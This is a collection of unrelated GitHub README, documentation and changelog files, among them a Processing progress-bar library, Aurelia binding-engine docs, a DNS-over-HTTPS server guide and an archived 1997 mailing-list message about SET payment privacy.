text:
# ProgressBars for Processing

![ProgressBars for Processing](https://github.com/jediahkatz/ProgressBars-for-Processing/blob/master/assets/progressbars.gif "ProgressBar for Processing")

### Installation
Download the entire project as a zip file by clicking `Clone or Download > Download ZIP` on GitHub. Go to your Processing libraries folder (by default it's at `C:\Users\YourName\Documents\Processing\libraries`) and extract the zip file you just downloaded into a folder called `ProgressBars`. Finally, you should be able to access the library from your Processing IDE by clicking `Sketch > Import Library > ProgressBars`.

### Tutorial

```java
// Import the library
import jediahkatz.progressbars.*;

// Declare a Line object
Line myLine;

void setup() {
  // Recommended changes to make your sketch look sharp
  noSmooth();
  strokeCap(SQUARE);

  // Initialize the Line with endpoints at (10, 50) and (90, 50)
  myLine = new Line(this, 10, 50, 90, 50);

  // Set the thickness of the trail and the line
  myLine.trailWeight(2);
  myLine.strokeWeight(10);

  // Set the colors of the trail and the line
  myLine.trailColor(#eeeeee);
  myLine.strokeColor(#c70039);

  // Set the easing function
  myLine.setEasingFunction(EasingFunctions.QUAD_EASE_IN_OUT);
}

void draw() {
  // Draw the Line and animate it from 0% to 100% over 1500 milliseconds (1.5s)
  myLine.draw();
  myLine.animate(0, 1, 1500);
}
```

### What's next
* Support for more default shapes and even custom PShapes
* Bug fixes for the bounce easing functions

### Contribute

This library is still under construction - I'd really appreciate any bug reports or feature requests you've got. Also, feel free to fork this library and contribute yourself!

### Acknowledgements
Huge thanks to [Robert Penner](https://github.com/robertpenner) for his easing functions and to [Jose Luis Garcia Del Castillo](https://github.com/garciadelcastillo), without whose `dashed-lines-for-processing` library this one could not exist!

repository: jediahkatz/ProgressBars-for-Processing

repo_name: jediahkatz/ProgressBars-for-Processing


text:
Simply run the installer and install.

2. Run the application

# Compiling:
1. To compile this project simply open the project within visual studio (I used visual studio 2015 community edition), and then select the release option (Next to the "Any CPU" drop box) and then simply build the solution by going to the build tab and select build solution.

2. Note that the installer may not compile but the application will, if you want to compile to the installer simply right click the installer within the solution explorer (on the right of the screen) and then simply select build and it will build the installer for you.

3. You will find the compiled application executable within "ArmA3 Launcher\bin\Release\" and the compiled installer will be found within "installer\Release\"

4. If you compiled the application within debug mode, then you will find them within the "Debug" folder instead of the "Release" folder.

# Notes
1. If you have trouble installing or using our launcher, make sure you got the latest.net framework and also do check windows update as this does some of the process for you.

# Development Status
The project development status is complete

# Author/Credits
Mr. Ashleigh Day

VJ - Developer

license: MIT

branch_name: refs/heads/master

extension: md

license_type: permissive


text:
---
name: "Binding: The Binding Engine"
description: How data-binding works in Aurelia.
author: Various authors
---

## Introduction

The binding engine is an utility export of `aurelia-binding` module, which gives some higher level APIs for dealing with observation, which leverages aurelia binding system primitives under the hood.

## How to install

Retrieving an instance of the `BindingEngine` by injecting it to any of your class inside an Aurelia application:

```js
import { BindingEngine } from 'aurelia-framework'; // or 'aurelia-binding'

export class MyViewModel {

  static inject() {
    return [BindingEngine]
  }

  constructor(bindingEngine) {
    //
  }
}
```

> Note: you can also construct the `BindingEngine` instance directly, or get it from a container. The example goes with simplest code.

Now let's use it to observe changes on objects (arrays are objects too). Generally, we will use `propertyObserver(obj, propertyName)` for object property value changes and `collectionObserver(collection)` for collection mutation.

## Observing a property on an object

* `propertyObserver(obj, propertyName)` returns a `PropertyObserver` object, with a public method `subscribe` that can be used like the following example:

```js
  bindingEngine
    .propertyObserver(myObject, 'myObjectPropertyName')
    .subscribe((newValue, oldValue) => {
      // handle value change here
    });
```

## Observing a collection mutation

* `collectionObserver(collection)` returns a `CollectionObserver` object, with a public method `subscribe` that can be used like the following example:

```js
  bindingEngine
    .collectionObserver(myCollection)
    .subscribe((splice) => {
      // do something with the mutated collection
    })
```

`splice` is an object with `ICollectionObserverSplice` interface, source code [here](https://github.com/aurelia/binding/blob/b42630b9ef94f84f39e450d959ddaa721d82e5d5/src/aurelia-binding.d.ts#L148)

## Observing an expression on an object

Often times you would want to observe a chain of property accesses (or a path), binding engine also has an API to support this. You can use `expressionObserver(obj, expressionString)` to create an observer, that will notify you when any property within the path of `expressionString` has been changed, like the following example:

```js
  bindingEngine
    .expressionObserver(this, 'project.name')
    .subscribe((newProjectName, oldProjectName) => {
      // do something with the new project name value
    });
```

repository: aurelia/documentation

filename: 12. binding-engine.md

gha_license_id: MIT

repo_name: aurelia/documentation


text:
# Bold Store
[](https://img.shields.io/badge/Microverse-blueviolet)

This is my HTML/Css capstone project in which I built a store that allows for the sale of wristwatches. While building it, I learnt how to make use of everything that I learnt in the cause of the curriculum especiall that of HTMl and Css

![screenshot](/img/capstone.png)

## Bootstrap features include:

- Media queries

- Navigation Bar with hovering effects

- Articles.

## Built With

- HTML

- CSS/SCSS

PROJECT CREDIT
Mohammed Awad on Behance

## Live Demo

[Live Demo Link](https://raw.githack.com/Arinpe/Capstone/perfumes/index.html)

**See the page via the link above**

**See the Source Page via the link below**

[Source Page Link](http://<IP_ADDRESS>:5500/index.html)
        (https://raw.githack.com/Arinpe/Capstone/perfumes/result.html)

## Author

👤 **Adetola Adesuyi**

- GitHub: [@Arinpe](https://github.com/Arinpe)
- Twitter: [@_detola_](https://twitter.com/_detola_)
- LinkedIn: [LinkedIn](https://www.linkedin.com/in/adesuyi-adetola-7b4451111/)

## Show your support

Give a ⭐ if you like this project!

## 📝 License

This project is [MIT](LICENSE) licensed.

repository: Arinpe/Capstone

branch_name: refs/heads/main

repo_name: Arinpe/Capstone


text:
# Change Log

## [v1.4.1](https://github.com/morenofa/react-global-configuration/tree/v1.4.1) (2020-12-13)
[Full Changelog](https://github.com/morenofa/react-global-configuration/compare/v1.4.0...v1.4.1)

**Fixed bugs:**

- Fixed vulnerability with `serialize-javascript` package

## [v1.4.0](https://github.com/morenofa/react-global-configuration/tree/v1.4.0) (2019-10-02)
[Full Changelog](https://github.com/morenofa/react-global-configuration/compare/v1.3.0...v1.4.0)

**Implemented enhancements:**

- Added functionality to handle configurations per environment.
- Update dependencies.
- Add coverage report.

## [v1.3.0](https://github.com/morenofa/react-global-configuration/tree/v1.3.0) (2018-08-14)
[Full Changelog](https://github.com/morenofa/react-global-configuration/compare/v1.2.1...v1.3.0)

**Implemented enhancements:**

- Added functionality to get objects/arrays.
- Added functionality to get nested object/array value.

## [v1.2.1](https://github.com/morenofa/react-global-configuration/tree/v1.2.1) (2018-01-22)
[Full Changelog](https://github.com/morenofa/react-global-configuration/compare/v1.2.0...v1.2.1)

**Implemented enhancements:**

- Update Travis-CI

## [v1.2.0](https://github.com/morenofa/react-global-configuration/tree/v1.2.0) (2017-07-04)
[Full Changelog](https://github.com/morenofa/react-global-configuration/compare/v1.1.1...v1.2.0)

**Implemented enhancements:**

- Added serialize function to pass data easily configuration to client side.

## [v1.1.0](https://github.com/morenofa/react-global-configuration/tree/v1.1.0) (2017-05-31)
[Full Changelog](https://github.com/morenofa/react-global-configuration/compare/v1.0.1...v1.1.0)

**Implemented enhancements:**

- Added default values if the setting with the specified key don't exist.

## [v1.0.2](https://github.com/morenofa/react-global-configuration/tree/v1.0.2) (2017-05-22)
[Full Changelog](https://github.com/morenofa/react-global-configuration/compare/v1.0.1...v1.0.2)

**Fixed bugs:**

- False configuration values don't work [\#1](https://github.com/morenofa/react-global-configuration/issues/1) ([kennu](https://github.com/kennu))

**Closed issues:**

- When setting more than one configuration value the second one gets an object [\#2](https://github.com/morenofa/react-global-configuration/issues/2)

repository: morenofa/react-global-configuration

gha_language: JavaScript

repo_name: morenofa/react-global-configuration


text:
---
layout: default
---

# 1997-11-12 - Re: SET

## Header Data

From: "William H. Geiger III"<EMAIL_ADDRESS>To: Eric Murray<EMAIL_ADDRESS>Message Hash: 851fe393e6be80a481a522f2333598aac464094396a54dada1c20b39ab59cc19

Message ID<EMAIL_ADDRESS>Reply To<EMAIL_ADDRESS>UTC Datetime: 1997-11-12 18:57:54 UTC

Raw Date: Thu, 13 Nov 1997 02:57:54 +0800

## Raw message

```
{% raw  %}From: "William H. Geiger III"<EMAIL_ADDRESS>Date: Thu, 13 Nov 1997 02:57:54 +0800
To: Eric Murray<EMAIL_ADDRESS>Subject: Re: SET
In-Reply-To<EMAIL_ADDRESS>Message-ID<EMAIL_ADDRESS>MIME-Version: 1.0
Content-Type: text/plain

-----BEGIN PGP SIGNED MESSAGE-----

In<EMAIL_ADDRESS>on 11/12/97
   at 09:51 AM, Eric Murray<EMAIL_ADDRESS>said:

>[details: according to the spec the cardholder sends to the merchant
>thumbs (SHA1 hashes) of all the certs in the cardholder's cert cache.
>Since this will contain certs from merchants the cardholder has made
>purchases from in the past, a merchant could simply match up those
>merchant cert thumbs with cert thumbs he obtains from other merchants,
>allowing him to build a list of merchants the cardholder has attempted to
>make purchases from].

Sorry I haven't been keeping track of the SET but why would a merchant
need this info in the first place??? If anything one would think that this
would be client driven not server driven (ie the client queries the
merchant for the hash of his cert to see if the client already has a copy
or not). I am not quite sure what they are trying to accomplish by this
unless what you consider a "flaw" is realy a "feature by design"?

- --
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNGn49o9Co1n+aLhhAQF7GAP+K2xbLQCLvFaR4nBpOOT3BfGoTtMikOvs
nhm3n4J3ALkIUtReRcwi3rc4q9/+TUK3Rq8gfVzFBCsFyDyAQLVMUCFBn7Ybja+j
qdloRfG4Tw2ueMOyaaO2/ao03s9tgOfP2Cfa0CwyScQI8BWMMoeKBongeSYZgMsm
bqGEG+XXyr4=
=rAEt
-----END PGP SIGNATURE-----

{% endraw %}
```

## Thread

+ Return to [November 1997](/archive/1997/11)

+ Return to "[Doug_Tygar@cs.cmu.edu](/authors/doug_tygar_at_cs_cmu_edu)"
+ Return to "[Eric Murray <ericm@lne.com>](/authors/eric_murray_ericm_at_lne_com_)"
+ Return to "[Jeremey Barrett <jeremey@bluemoney.com>](/authors/jeremey_barrett_jeremey_at_bluemoney_com_)"
+ Return to "[Robert Hettinga <rah@shipwright.com>](/authors/robert_hettinga_rah_at_shipwright_com_)"
+ Return to "["William H. Geiger III" <whgiii@invweb.net>](/authors/william_h_geiger_iii_whgiii_at_invweb_net_)"

+ 1997-11-12 (Thu, 13 Nov 1997 00:29:38 +0800) - [SET](/archive/1997/11/9bd39aed33f7b71e91b93c5be6003d14b9cc85da15f4ccd0b75add42576ff3c2) -<EMAIL_ADDRESS>  + 1997-11-12 (Thu, 13 Nov 1997 01:41:45 +0800) - [Re: SET](/archive/1997/11/69523363a26c0e86bceb05bd598de617ce7e138373a9ded7c23c266bb977f903) - _Robert Hettinga<EMAIL_ADDRESS>  + 1997-11-12 (Thu, 13 Nov 1997 02:04:17 +0800) - [Re: SET](/archive/1997/11/3024acf25d7e5bd69e58a4119930ca7622f7da82737b8e5e6a4f7984ef3b8899) - _Eric Murray<EMAIL_ADDRESS>    + 1997-11-12 (Thu, 13 Nov 1997 02:57:54 +0800) - Re: SET - _"William H. Geiger III"<EMAIL_ADDRESS>      + 1997-11-12 (Thu, 13 Nov 1997 03:14:12 +0800) - [Re: SET](/archive/1997/11/04f15e48e843ca99ff18beb4a422f1b18bc06796fdad3c193834d282aea6ad6e) - _Eric Murray<EMAIL_ADDRESS>  + 1997-11-12 (Thu, 13 Nov 1997 03:22:00 +0800) - [Re: SET](/archive/1997/11/988b4ddd4d0fc0a9815f8c17f9ea7dea4425e776d089b4130fb222aaf7944304) - _Jeremey Barrett<EMAIL_ADDRESS>


text:
# upsetsysadmins
A tool that will really upset your sysadmin

This is a tool that can rename a process so that it appears to be something else when you look in "ps" than it really is.

## Disclaimer

Don't run this on things you don't want to get totally broken. This tool
performs process memory modifications and may not get it right, corrupting
the process. Thus the `renameeverything.go` really is as bad of a idea as
it sounds.

## Demos

![demo1](demo1.gif)

![demo2](demo2.gif)

repository: mantyr/upsetsysadmins

repo_name: mantyr/upsetsysadmins


text:
[#]: collector: (lujun9972)
[#]: translator: ( )
[#]: reviewer: ( )
[#]: publisher: ( )
[#]: url: ( )
[#]: subject: (Serverless on Kubernetes, diverse automation, and more industry trends)
[#]: via: (https://opensource.com/article/19/8/serverless-kubernetes-and-more)
[#]: author: (Tim Hildred https://opensource.com/users/thildred)

Serverless on Kubernetes, diverse automation, and more industry trends
======
A weekly look at open source community and industry trends.
![Person standing in front of a giant computer screen with numbers, data][1]

As part of my role as a senior product marketing manager at an enterprise software company with an open source development model, I publish a regular update about open source community, market, and industry trends for product marketers, managers, and other influencers. Here are five of my and their favorite articles from that update.

## [10 tips for creating robust serverless components][2]

> There are some repeated patterns that we have seen after creating 20+ serverless components. We recommend that you browse through the [available component repos on GitHub][3] and check which one is close to what you’re building. Just open up the repo and check the code and see how everything fits together.
>
> All component code is open source, and we are striving to keep it clean, simple and easy to follow. After you look around you’ll be able to understand how our core API works, how we interact with external APIs, and how we are reusing other components.

**The impact**: Serverless Inc is striving to take probably the most hyped architecture early on in the hype cycle and make it usable and practical today. For serverless to truly go mainstream, producing something useful has to be as easy for a developer as "Hello world!," and these components are a step in that direction.

## [Kubernetes workloads in the serverless era: Architecture, platforms, and trends][4]

> There are many fascinating elements of the Kubernetes architecture: the containers providing common packaging, runtime and resource isolation model within its foundation; the simple control loop mechanism that monitors the actual state of components and reconciles this with the desired state; the custom resource definitions. But the true enabler for extending Kubernetes to support diverse workloads is the concept of the pod.
>
> A pod provides two sets of guarantees. The deployment guarantee ensures that the containers of a pod are always placed on the same node. This behavior has some useful properties such as allowing containers to communicate synchronously or asynchronously over localhost, over inter-process communication ([IPC][5]), or using the local file system.

**The impact**: If developer adoption of serverless architectures is largely driven by how easily they can be productive working that way, business adoption will be driven by the ability to place this trend in the operational and business context. IT decision-makers need to see a holistic picture of how serverless adds value alongside their existing investments, and operators and architects need to envision how they'll keep it all up and running.

## [How developers can survive the Last Mile with CodeReady Workspaces][6]

> Inside each cloud provider, a host of tools can address CI/CD, testing, monitoring, backing up and recovery problems. Outside of those providers, the cloud native community has been hard at work cranking out new tooling from [Prometheus][7], [Knative][8], [Envoy][9] and [Fluentd][10], to [Kubenetes][11] itself and the expanding ecosystem of Kubernetes Operators.
>
> Within all of those projects, cloud-based services and desktop utilities is one major gap, however: the last mile of software development is the IDE. And despite the wealth of development projects inside the community and Cloud Native Computing Foundation, it is indeed the Eclipse Foundation, as mentioned above, that has taken on this problem with a focus on the new cloud development landscape.

**The impact**: Increasingly complex development workflows and deployment patterns call for increasingly intelligent IDEs. While I'm sure it is possible to push a button and redeploy your microservices to a Kubernetes cluster from emacs (or vi, relax), Eclipse Che (and CodeReady Workspaces) are being built from the ground up with these types of cloud-native workflows in mind.

## [Automate security in increasingly complex hybrid environments][12]

> According to the [Information Security Forum][13]’s [Global Security Threat Outlook for 2019][14], one of the biggest IT trends to watch this year is the increasing sophistication of cybercrime and ransomware. And even as the volume of ransomware attacks is dropping, cybercriminals are finding new, more potent ways to be disruptive. An [article in TechRepublic][15] points to cryptojacking malware, which enables someone to hijack another's hardware without permission to mine cryptocurrency, as a growing threat for enterprise networks.
>
> To more effectively mitigate these risks, organizations could invest in automation as a component of their security plans. That’s because it takes time to investigate and resolve issues, in addition to applying controlled remediations across bare metal, virtualized systems, and cloud environments -- both private and public -- all while documenting changes.

**The impact**: This one is really about our ability to trust that the network service providers that we rely upon to keep our phones and smart TVs full of stutter-free streaming HD content have what they need to protect the infrastructure that makes it all possible. I for one am rooting for you!

## [AnsibleFest 2019 session catalog][16]

> 85 Ansible automation sessions over 3 days in Atlanta, Georgia

**The impact**: What struck me is the range of things that can be automated with Ansible. Windows? Check. Multicloud? Check. Security? Check. The real question after those three days are over will be: Is there anything in IT that can't be automated with Ansible? Seriously, I'm asking, let me know.

url: https://raw.githubusercontent.com/LuuMing/TranslateProject/8085a1d2e42dc1ef48c0de83b52ae1cd57d8d9ab/sources/news/20190820 Serverless on Kubernetes, diverse automation, and more industry trends.md

repository: LuuMing/TranslateProject

gha_language: Shell

repo_name: LuuMing/TranslateProject


text:
# DoH Server

This is a "DNS over HTTP" (DoH) server implementation written in Go.

The implementation follows [RFC8484](https://tools.ietf.org/html/rfc8484), and provides several key features:

* support for both POST and GET queries over HTTP/2 and TLS
* supports between one and multiple backend DNS servers
* DNS backends can be traditional DNS/udp or DoH servers
* optional support to send telemetry information to InfluxDB
* optional support to use Redis as an application-side response cache
* configuration support through config files and environment vars
* supports an optional HTTP-only (read: unencrypted) variant, primarily intended for debugging and development purposes, or to run the DoH daemon behind a frontend TLS load balancer or proxy
* intended to be leightweight and fast
* support to run from Docker comes for free

What this DoH implementation is not:

* This is *not* a DNS server itself, and never will be. It's intended to proxy DoH requests against existing DNS backend servers.
* This is *not* an attempt in breaking privacy. Read more on the development motivation below.

Known Limitations:

* DNS-over-TLS backends are not (yet) supported
* Incoming request packets are not validated, thus relayed 1:1 to the DNS backend server(s)

## Motivation

First, I wanted to understand, how exactly DoH works, and what pitfalls it brings.
From this, the idea spawned to actually polish this daemon, so it could be easily "plugged" into any existing network infrastructure
to run a local DoH service yourself.

## Running the server

### Running with Docker

It is the primarily intended mode of operations to run the DoH daemon trough Docker.

```bash
docker pull gpdm/doh[:<tag>]
```

tags:

* `latest` for most recent (but also potentially most broken / unstable) build
* other version-specific tags (if any) for frozen / stable builds

then run it as follows:

```bash
docker run -d \
   [-p 8080:8080] \
   -p 8443:8443 \
   -v /path/to/doh/conf:/conf \
   -e [ENV-VARS]
   gpdm/doh[:<tag>]
```

Configuration can be done from both entvironment vars, or a config file, see also config section below.
To use the config file, or to pass over TLS certificates, use a volume mount to `/conf`.

### CRIY (Compile and Run It Yourself)

To compile the binary yourself, do this in the source directory:

```bash
go build
```

To run it, here's a short excerpt on the CLI args:

```bash
Usage of ./DoH:
  -configfile string
        config file (optional)
  -debug
        debug mode
  -verbose
        verbose mode
```

As you see, there's not too many options. A sample config file is provided beneath [./conf/DoH.toml.sample](https://github.com/gpdm/DoH/blob/master/conf/DoH.toml.sample), I'll cover that further below.

### Configuration Directives

This section covers available configuration directives.
They can either be set from environment variables (useful for Docker), or from the configuration file.

#### global

```toml
[global]

# default listen address.
# set to "" to list to all addresses (default)
#
listen = ""

# default log level
#
# these are Syslog-compatible log levels
# Emergency = 0
# Alert = 1
# Crit = 2
# Error = 3
# Warn = 4
# Notice = 5        # default for DoH daemon -- not chatty at all
# Information = 6   # also controlled from cli using -verbose switch: add's some diagnostics information
# Debug = 7         # also controlled from cli using -debug switch: very chatty and fully verbose
#
loglevel = 5
```

To use from environment, specify like so:

`docker run [..] -e GLOBAL.LISTEN="" GLOBAL.LOGLEVEL=7 [..]`

#### dns

```toml
# DNS resolver
#
# at least one host must be specified in
# URI format, as described in https://tools.ietf.org/html/rfc3986
#
# multiple hosts can be specified as shown below,
# both in FQDN format or using IP(v4|6) addresses.
#
# use udp:// for standard DNS resolvers
#   - port number can be specified using ':<port>' syntax, defaults to ':53'
# use https:// for DoH servers
#   - port number can be specified using ':<port>' syntax, defaults to ':443'
#   - DoH servers can support both POST or GET request methods,
#       append '#<request-method>' to indicate preferred method (defaults to '#POST')
#   - use the FQDN only, do not append '/dns-query' URI to hostname (read: it will be ignored)
#
#   [ "udp://<IP_ADDRESS>:53", "udp://fully-qualified-host.local", "https://cloudflare-dns.com#POST", "https://cloudflare-dns.com#GET" ]
#
[dns]
    resolvers = [ "udp://<IP_ADDRESS>:53", "udp://localhost" ]
```

To use from environment, specify like so:

`docker run [..] -e DNS.RESOLVERS=$(udp://<IP_ADDRESS>,udp://localhost:53) [..]`

#### tls

```toml
# settings for TLS HTTP/2 service (mandatory)
#
[tls]
  enable = true
  port = 443
  pkey = "./conf/private.key"
  cert = "./conf/public.crt"
```

To use from environment, specify like so:

`docker run [..] -e TLS.ENABLE=1 -e TLS.PORT=443 -e TLS.PKEY=./conf/private.key -e TLS.CERT=./conf/public.crt [..]`

#### http

```toml
# http-only server
# according to RFC8484, DoH must only be supported via TLS on HTTP/2
# However, for development purposes, the http-plain mode can be helpful,
# i.e. to capture wire format traffic.
# When running in Docker, it may be also indiciated to expose the service
# through plain-text HTTP, and run it behind a frontend load-balancer,
# which does the TLS offloading.
#
[http]
  enable = false
  port = 80
```

To use from environment, specify like so:

`docker run [..] -e HTTP.ENABLE=true -e HTTP.PORT=80 [..]`

#### influx

The DoH daemon has some support to send limited telemetry information to InfluxDB.
The idea is not to be a data collector, but provide meaningful statistical information,
such as request and query counters, and in the future maybe also query runtime.
If you want to receive telemetry, you'll have to enable it accordingly.
By default, no telemetry information is sent.

Here's an example of how this looks like:

![Sample Influx Statistics](https://github.com/gpdm/DoH/blob/master/docs/influx_sample.png)

```toml
# Optional influxDB to report telemetry information
#
# Telemetry logging only includes counters for HTTP GET / POST requests,
# and the number of DNS RR Type requests (e.g. TYPE A, TYPE NS) processed.
# No additional information, e.g. queried hostnames, returned IP addresses,
# source IPs, etc, is included in the telemetry.
#
[influx]
  enable = false
  url = ""
  database = ""
  username = ""
  password = ""
```

To use from environment, specify like so:

`docker run [..] -e INFLUX.ENABLE=true -e INFLUX.URL=... -e INFLUX.USERNAME=... INFLUX.PASSWORD=... [..]`

#### redis

The DoH daemon has support to use Redis as an application-level cache.

The cache serves the same purposes as any regular DNS query cache: To store response data,
and return from cache, until the DNS TTL has expired, saving time on extra recursion round-trips,
and thus potentially also reduce load.

```toml
# Optional Redis cache support to perform application-level caching of DNS responses
# This works side-by-side with any ordinary DNS query cache, but on the DoH frontend service,
# saving extra round-trips and recursion through the DNS backends.
#
[redis]
    enable = false
    addr = "localhost"
    port = "6379"
    password = ""
```

To use from environment, specify like so:

`docker run [..] -e REDIS.ENABLE=true -e REDIS.ADDR=... -e REDIS.PORT=... REDIS.PASSWORD=... [..]`

## Client Configuration

To use your own DoH instance, the client must be configured accordingly.

### Configuring TRR in Firefox

[Trusted Recursive Resolvers](https://wiki.mozilla.org/Trusted_Recursive_Resolver) are configured in Firefox from `about:config`.

Search for any `trr` related config properties. The ones to change are these:

* `network.trr.uri`: put the https URL to your DOH instance here
* `network.trr.custom_uri`: same as above
* optional: `network.trr.useGET`: `false` by default. If you want to play around and see how GET and POST make a difference, set it to `true`
* optional: `network.trr.mode`: `2` to enable DoH, and use it first, then fallback. Otherwise `3` to use DoH only. `0` to disable DoH
* mandatory: `network.trr.bootstrapAddress` must be IP address of your DoH resolver, if you set `network.trr.mode=3`.

### curl

Using DoH with curl, starting from v7.62, as simple as this:

```bash
curl --doh-url https://<fully-qualified-domain-name>/dns-query [any-url-you-want-to-access]
```

## A Personal Opinion on DoH

To make it absolutely clear: I endorse the argument of added privacy enforced by using DoH over traditional, unencrypted DNS transport.
However, I also do have my strongs concerns about certain things.

If you don't care, simply skip this section on my personal opinion ;-)

### Browsers support DoH using Centralized Providers

Both Firefox and Chrome gained DoH support and are ready to send DNS queries over to either CloudFlare or Google.
Throwing the queries over to centralized facilities goes against the principles and building foundations of the Internet,
which had a decentral setup in mind.

And what serves the purpose of encrypted transmission, if data is collected at large scale with two huge global players?

It's easy to do data analysis by just looking at the logs, profiles could be built by just looking at the source IPs and
correlating with the DNS questions.

Yes, practically everybody running a DNS server can do this. And yes, even my implementation provides a debugging mode,
which could be abused for doing such nasty things.

The point is: DoH should run locally, and be connected to your own local DNS *recursive resolver* (not to mistake this with a *forwarding-only resolver*).

#### DoH in Browsers bypass the local DNS resolver

DoH in the current form is an overlay transport mechanism, which is implemented in the Browsers, and bypasses your locally
configured DNS resolvers of the Operating System.

This not only that the queries pass-by your local resolvers, it also takes away some control from the local network administrator.

Depending on the settings (.e.g. Firefox, see [TRR](https://wiki.mozilla.org/Trusted_Recursive_Resolver), the browser
can be taught to either ignore the local resolver entirely, or only take it into account *after* the DoH recursion.

Going for privacy, this is great, as it bypasses any locally enforced DNS policy (.e.g to blocking of unwanted websites) at once.
At the same time, this is bad, because it bypasses any locally enforced DNS Policy at once.

I consider this sort of a double-edged sword.

#### Freedom of Information Availability vs. the Law

In some countries, any institution may be obliged by law to enforce certain access and content to be blocked.
Sometimes, an institution (let's say, a school) may even willingly decide to enforce certain blocking policies, say for ethical reasons.

Some people consider this "censorship". I am against censorship, and everybody is free to ask my about my opinion
on Switzerlands law to block out foreign online casions. Worst. Thing. Ever.

However: There is unarguably some content on the web, which is definitely not suitable to pupils of a certain age.
So a school IMO must have the authority to enforce certain blocking rules, DoH takes this away entirely.

In addition: As long as the gorvernors of any organization can be potentially held liable for not blocking certain content,
DoH is simply not the way to go.

#### Compatibility and Other Issues

* DoH may cause problems with DNS views on certain setup.
* DoH may and propably will break geo-based DNS load balancing (i.e. Akamai uses such mechanisms)
* DoH cannot entirely replace the traditional operating system resolver, i.e. when encountering RFC1918 IPs in a response, default is to fallback to the OS resolver.
* It's not natively supported (yet) by the operating systems
* The implementation has to compete against DNS over TLS (DoT), which itself has the same issue of non wide-spread support
* DoH adds extra overhead, i.e. every application needs to implement an extra layer to support both traditional and DoH resolvers. While understandable for the reason *why*, it feels unnatural and not the right way for me. This should be in the OS resolver library. Period.
* I'm still looking into it, but the HTTP Caching Topic may cause headaches as well
* Did I mention, it takes away the authority from the local network admin?

#### What I Like about DoH

* The overlay protocol is very lightweight. It was a good choice to not go for JSON-based encoding, but use the DNS wire format.
* It was good to go for HTTP/2 right away, which implies TLS as well
* Clients implementations are enforced to only support TLS
* Given the fact that no OS native implementation yet exists, pushing it to the browsers is understandable in order to give the protocol a push towards getting widely deployed. I do hope however that OS implementers will eventually add support for both DoH and/or DoT.

## License

This implementation is licensed under the terms of the BSD 3-Clause License.

## More Documentation

* [CURL Wiki](https://github.com/curl/curl/wiki/DNS-over-HTTPS)
* [RFC8484](https://tools.ietf.org/html/rfc8484)

## TO DO

See also [TODO.md](https://github.com/gpdm/DoH/blob/master/TODO.md)

## Acknowledgements

Thanks to [@hoempf](https://github.com/hoempf) for some helpful hints, code reviews, testing assistance, and the Dockerfile template.

repository: gpdm/DoH

gha_language: Go

repo_name: gpdm/DoH


text:
![E2E Status](https://github.com/mendix/widgets-resources/actions/workflows/WebAutomatedTests.yml/badge.svg?branch=master)
![Unit tests](https://github.com/mendix/widgets-resources/actions/workflows/UnitTests.yml/badge.svg?branch=master)
![Script Tests](https://github.com/mendix/widgets-resources/actions/workflows/ScriptTests.yml/badge.svg?branch=master)
![Atlas build](https://github.com/mendix/widgets-resources/actions/workflows/AtlasBuildTest.yml/badge.svg?branch=master)
![Atlas Release](https://github.com/mendix/widgets-resources/actions/workflows/AtlasReleaseThemeFiles.yml/badge.svg?branch=master)
![Publisn NPM](https://github.com/mendix/widgets-resources/actions/workflows/PublishNpm.yml/badge.svg?branch=master)
![Mendix 9](https://img.shields.io/badge/mendix-9.0.5-brightgreen.svg)

# Widgets resources

A bundle of R&D Platform supported widgets & nanoflow actions for building native mobile & hybrid apps.

# Information

This repository was archived in order to split some of the contents in other repositories.

## Native widgets & modules

Please visit [Native widgets repo](https://github.com/mendix/native-widgets) for more information.

## Web widgets & modules

Please visit [Web widgets repo](https://github.com/mendix/web-widgets) for more information.

## Atlas

Please visit [Atlas repo](https://github.com/mendix/atlas) for more information.

## Pluggable widgets tools & Widget generator

Please visit [Widgets Tools repo](https://github.com/mendix/widgets-tools) for more information.

## Nanoflow commons

We are in progress of moving this project to another repository.

repository: mendix/widgets-resources

gha_language: TypeScript

repo_name: mendix/widgets-resources


text:
---
date: 2018-05-06
title: Why is the volume low while streaming?
categories:
  - Porthole
description: You can increase the volume by using the volume keys on your keyboard.
type: Document
---
You can increase the volume by using the volume keys on your keyboard. If that doesn't seem to crank the volume up high enough, try the following:

1. Start streaming with Porthole;
1. Open Audio MIDI Setup (/Applications/Utilities/Audio MIDI Setup.app);
1. Select Soundflower (2ch) from the list on the left;
1. Max out all sliders for both Input and Output.

gha_language: HTML


text:
# Change Log

All notable changes to this project will be documented in this file.
See [Conventional Commits](https://conventionalcommits.org) for commit guidelines.

## [0.12.8](https://github.com/libton-project/libton/compare/v0.12.7...v0.12.8) (2021-08-02)

### Bug Fixes

* update typescript and api-extractor ([ec91474](https://github.com/libton-project/libton/commit/ec914743210523deb52046d7b4b48ba62f9452a5))

## [0.12.7](https://github.com/libton-project/libton/compare/v0.12.6...v0.12.7) (2020-06-15)

### Bug Fixes

* downgrade eslint ([d487de5](https://github.com/libton-project/libton/commit/d487de5fe07177c42f6ed33ddbd6144cb7ba04c7))

## [0.12.6](https://github.com/libton-project/libton/compare/v0.12.5...v0.12.6) (2020-06-14)

### Bug Fixes

* update dependencies ([a4493be](https://github.com/libton-project/libton/commit/a4493be7291f68a5ebeb6f95e4ba0bd32b774674))

## [0.12.5](https://github.com/libton-project/libton/compare/v0.12.4...v0.12.5) (2020-06-10)

### Bug Fixes

* remove commander-remaining-args ([8215fd3](https://github.com/libton-project/libton/commit/8215fd35d002a4f659beeee64f3cae5c89afa10a))

## [0.12.4](https://github.com/libton-project/libton/compare/v0.12.3...v0.12.4) (2020-06-10)

### Bug Fixes

* update dependencies ([9f6eed8](https://github.com/libton-project/libton/commit/9f6eed8ef8bda92046482de182c68e988f9d013a))

## [0.12.3](https://github.com/libton-project/libton/compare/v0.12.2...v0.12.3) (2020-03-30)

### Bug Fixes

* update dependencies ([00ed22a](https://github.com/libton-project/libton/commit/00ed22ad112a8fa08e01de88a3563884e066535e))

## [0.12.2](https://github.com/libton-project/libton/compare/v0.12.1...v0.12.2) (2020-03-06)

**Note:** Version bump only for package libton-script

## [0.12.1](https://github.com/libton-project/libton/compare/v0.12.0...v0.12.1) (2019-12-28)

